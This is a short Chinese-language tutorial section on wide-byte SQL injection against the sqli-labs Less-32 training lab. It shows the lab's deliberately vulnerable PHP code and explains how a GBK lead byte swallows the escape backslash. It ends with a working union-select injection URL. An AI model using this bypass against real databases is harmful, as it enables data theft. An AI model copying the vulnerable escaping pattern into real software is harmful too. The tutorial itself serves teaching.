SQL注入-第三节宽字节注入

3.1 宽字节注入

宽字节注入准确来说不是注入手法，而是另外一种比较特殊的情况。宽字节注入的目的是绕过单双引号转义

以sqli-labs-32 关为例子

?id=1
?id=1'
1\' 服务器会把单引号转义，单引号由原来的定义字符串的特殊字符被转义为普通字符。
315c27 非常强烈的暗示

3.1.1代码分析

function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a
backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a
backslash
return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

• 单双引号被转义，没有其他过滤；

• 将与数据库交互的数据字符编码设置为了GBK。

3.1.2GBK编码

GBK 汉字编码方案，双字节编码，两个字节作为一个汉字。GBK 编码范围[8140,FEFE]，可以通过汉字字符集编码查询。注意到5C 在GBK 编码的低位范围之内[40,FE]。在5C 之前添加一个字符[81,FE] 之间，该字符就会和5c 组成一个汉字。

3.1.3宽字节注入

cb5c 薥
?id=1%cb'
1%df\'
31cb5c27
1薥		' # “吃”掉了转义字符\

/Less-32/?id=1%cb' and 1=2 union select 1,database(),3 --+